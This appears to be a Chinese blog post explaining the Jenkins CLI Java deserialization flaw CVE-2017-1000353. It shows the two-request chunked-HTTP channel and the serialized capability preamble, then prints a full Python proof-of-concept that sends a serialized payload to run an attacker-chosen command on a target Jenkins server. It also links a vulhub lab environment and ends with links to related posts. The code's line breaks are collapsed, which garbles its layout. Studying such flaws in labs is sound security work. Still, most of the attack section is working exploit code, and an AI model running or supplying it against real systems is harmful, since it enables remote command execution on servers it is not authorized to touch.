一、漏洞原理:

首先这是一个java反序列化漏洞,一定是command在序列化信息中,反序列化时候直接执行了该命令。

攻击过程学习:

下文的session是一个uuid,类型4

# 可以如下生成
session = uuid.uuid4()

1、首先要发送一个请求,是一个下载请求。这个请求是要启动一个双向数据传输频道。频道的标识就是session。而side字段则是用来标识传输方向

对应代码段:

def Download(url,session):headers = {'Side':'download'}headers['Content-type'] = 'application/x-www-form-urlencoded'headers['Session'] = sessionheaders['Transfer-Encoding'] = 'chunked'try:response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)except Exception,ex:print exexit(0)print response.content

然后是第二个请求:双向信道发送组件,第一个请求被阻塞,一直到第二个请求被发送。此时session与之前保持一致,side改成upload。

数据部分格式规范如下:

(1)前导码

前导码包含一个base64编码的序列化对象。“ 能力 ” 类型的序列化对象只是告诉服务器
客户端具有哪些能力(例如HTTP 分块编码)。

Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

(2)Proto部分 (可能是所说的额外字节)

Proto = 'x00x00x00x00'

(3)payload部分

在前导码和一些额外的字节之后,Jenkins服务器期望类型为Command的序列化对象。由于Jenkins不验证序列化对象,所以可以发送任何序列化对象。

def Payload_Init(command):global File_Serializationcommand = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)print commandreturn_number = os.system(command)if return_number != 0:print "Call Jar Packet To Init The Payload Error"exit(0)File_Serialization = open("./payload.ser","rb").read()

所有第二个数据包发送的数据整合:

def Create_Payload_Chunked():yield Premleyield Protoyield File_Serialization

发送第二个数据包:

def Upload_Chunked(url,session,data):headers = {'Side':'upload'}headers['Session'] = sessionheaders['Content-type'] = 'application/octet-stream'headers['Accept-Encoding'] = Noneheaders['Transfer-Encoding'] = 'chunked'headers['Cache-Control'] = 'no-cache'try:    response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)except Exception,ex:print exexit(0)

整个攻击流程

def Attack():print "start"session = str(uuid.uuid4())thread_object = threading.Thread(target=Download,args=(Target,session))thread_object.start()time.sleep(1)print "pwn"#Upload(URL, session, create_payload())Upload_Chunked(Target,session,"asdf")

服务器端对应处理

反序列化command对象

然后这个方法在这里被调用

返回了这个序列化好的对象cmd

read方法调用,把返回的对象赋值给了cmd,也就是被读进一个ReaderThread类型的线程。

该线程由类“ CliEndpointResponse ”中调用的“ upload ”方法触发。

在该方法中,HTTP主体数据被读取,并且调用“notify”方法来通知线程。

整体POC

import os
import uuid
import gzip
import zlib
import time
import urllib
import socket
import urllib3
import requests
import threading
from optparse import OptionParser#全局变量定义:
#Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS协议代理设置
Proxy = None#HTTP、HTTPS协议代理设置
Target="http://%s:8080/cli"#攻击目标
Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
Proto = 'x00x00x00x00'
File_Serialization = None
socket.setdefaulttimeout(3)#全局函数定义
def Payload_Init(command):global File_Serializationcommand = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)print commandreturn_number = os.system(command)if return_number != 0:print "Call Jar Packet To Init The Payload Error"exit(0)File_Serialization = open("./payload.ser","rb").read()def Download(url,session):headers = {'Side':'download'}headers['Content-type'] = 'application/x-www-form-urlencoded'headers['Session'] = sessionheaders['Transfer-Encoding'] = 'chunked'try:response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)except Exception,ex:print exexit(0)print response.content'''
def Upload(url,session,data):headers = {'Side':'upload'}headers['Session'] = sessionheaders['Content-type'] = 'application/octet-stream'headers['Accept-Encoding'] = Nonetry:response = requests.post(url,data=data,headers=headers,proxies=Proxy)except Exception,ex:print exexit(0)
'''def Upload_Chunked(url,session,data):headers = {'Side':'upload'}headers['Session'] = sessionheaders['Content-type'] = 'application/octet-stream'headers['Accept-Encoding'] = Noneheaders['Transfer-Encoding'] = 'chunked'headers['Cache-Control'] = 'no-cache'try:response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)except Exception,ex:print exexit(0)def Null_Payload():yield " """"
def Create_Payload():payload = Premle + Proto + File_Serializationreturn payload"""def Create_Payload_Chunked():yield Premleyield Protoyield File_Serializationdef Attack():print "start"session = str(uuid.uuid4())thread_object = threading.Thread(target=Download,args=(Target,session))thread_object.start()time.sleep(1)print "pwn"#Upload(URL, session, create_payload())Upload_Chunked(Target,session,"asdf")#程序入口
if __name__ == "__main__":parser = OptionParser()parser.add_option("-t","--target",dest="target",help="Target IP address!")parser.add_option("-c","--command",dest="command",help="The command to execute!")parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")(options, args) = parser.parse_args()optionslist = [options.target,options.command,options.protocol]if None in optionslist or "" in optionslist:print "Please check your input parameters!"Target = Target%options.targetcommand = options.commandprotocol = options.protocolif protocol == "HTTP":passelif protocol == "HTTPS":Target = Target.replace("http","https")else:print "Unknown Protocol!"Payload_Init(command)Attack()

靶机平台:

https://vulhub.org/#/environments/jenkins/CVE-2017-1000353/

poc:

https://github.com/vulhub/CVE-2017-1000353/blob/master/exploit.py

jenkins 反序列化漏洞 cve-2017-1000353相关推荐

  1. 深入理解JNDI注入与Java反序列化漏洞利用

    rmi 和 jndi 这些概念,一直接触,但是看了会儿 还是略微懵逼,这篇文章 暂时理清了我的思路 [承上启下]----------------------------------上边属于我自己瞎扯的 ...

  2. 调用 php_最全的PHP反序列化漏洞的理解和应用

    原创:f1r3K0合天智汇 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识 PHP类与对象(https://w ...

  3. Apache日志记录组件Log4j出现反序列化漏洞 黑客可以执行任意代码 所有2.x版本均受影响...

    开源的东西用的人多了,自然漏洞就多.Apache用于日志记录的组件Log4j使用非常灵活,在相当多的开源项目中都有使用,此次漏洞影响所有Apache Log4j 2.*系列版本: Apache Log ...

  4. php反序列化漏洞 freebuf,最全的PHP反序列化漏洞的理解和应用

    原创:f1r3K0 php反序列化漏洞,又叫php对象注入漏洞,是一种常见的漏洞,在我们进行代码审计以及CTF中经常能够遇到. 01学习前最好提前掌握的知识PHP类与对象(https://www.ph ...

  5. 修而未复:说说WebLogic那修不完的Java反序列化漏洞

    编者说明:这篇文章初稿写在Oracle CPU补丁发布之后,考虑到文章内容的影响,并未在当时发布,WebLogic 的 Java 反序列化漏洞,已经修复了多次,最终的修复仍然未彻底解决问题. 背景 当 ...

  6. Android Parcelable反序列化漏洞分析与利用

    文章目录 前言 背景知识 Parcelable序列化 Bundle的数据结构 LaunchAnyWhere CVE-2017-13288 漏洞利用原理解析 POC程序攻击演示 CVE-2017-133 ...

  7. cve-2017–10271 XMLDecoder 反序列化漏洞 原理分析

    目录 1.漏洞背景 2.漏洞原理分析 3.漏洞测试 环境搭建 漏洞复现 4.修复建议 1.漏洞背景 Weblogic是oracle推出的application server,由于其具有支持EJB.JS ...

  8. jboss 5.x/6.x 反序列化漏洞 cve-2017-12149

    目录 测试环境 漏洞复现 编写反弹shell的命令 序列化数据生成 发送POC 该漏洞为 Java反序列化错误类型,存在于 Jboss 的 HttpInvoker 组件中的 ReadOnlyAcces ...

  9. 原来不只是fastjson,这个你每天都在用的类库也被爆过反序列化漏洞!

    在<fastjson到底做错了什么?为什么会被频繁爆出漏洞?>文章中,我从技术角度分析过为什么fastjson会被频繁爆出一些安全漏洞,然后有人在评论区发表"说到底就是fastj ...

最新文章

  1. R语言ggplot2可视化绘制分组水平并行条形图(bar plot)并为条形图内添加标签
  2. 删除“已禁用输入法”托盘图标
  3. Python爬取淘宝商品价格销量信息
  4. Java SE有几个代码_JavaSE常用类及方法的介绍(附代码)
  5. 视觉目标检测和识别之过去,现在及可能
  6. 怎么移动矩形选框工具选中的东西_程序员应具备的PS基本技能(二):程序员切图最常使用的工具组-选择工具组...
  7. Java命名规范和代码风格
  8. 自动组卷系统C语言,模块化思想在试题库组卷系统中的应用--以C语言程序设计课程为例 (1).pdf...
  9. 谷雨钜献 | 用深度学习理解遥感图像,识别效率提升90倍,PaddlePaddle中科院遥感地球所...
  10. 【CCCC】L2-004 这是二叉搜索树吗? (25分),二叉搜索树前序遍历
  11. 洛谷P3768 简单的数学题
  12. 全网详细接口测试ApiPost详细教程(实战),吐血整理
  13. DevExpress中的自定义报表控件使用
  14. 2019数据安装勾选_怎么安装勾选平台控件,如何网上勾选认证发票?
  15. 使用python的模拟退火算法估计heston期权定价模型的五个参数(新)
  16. 洪恩软件进军网游产业 池宇峰揭密完美世界
  17. 响应式嵌入 iframe Pym.js
  18. 轻松学Pytorch – 人脸五点landmark提取网络训练与使用
  19. 善用云函数,开源节流,小程序后端使用云函数案例
  20. 服务器重装系统之浪潮服务器

热门文章

  1. 互联网协议 — TCP — (面向面向连接的)三次握手、四次挥手
  2. 5G 信令流程 — 5GC 的连接管理(CM,Connection Management)
  3. 使用Devstack部署neutron网络节点
  4. FAT32文件系统结构分析
  5. Redis学习(3)-redis启动
  6. 刷牙刷了这么多年,我们居然都搞错了!
  7. PHP - 获取音频长度
  8. CSS3+jQuery实现时钟插件
  9. ERROR 1045 (28000): Access denied for user 'root'@'localhost' (using password: NO)
  10. ECShop 增加收藏商品排行榜功能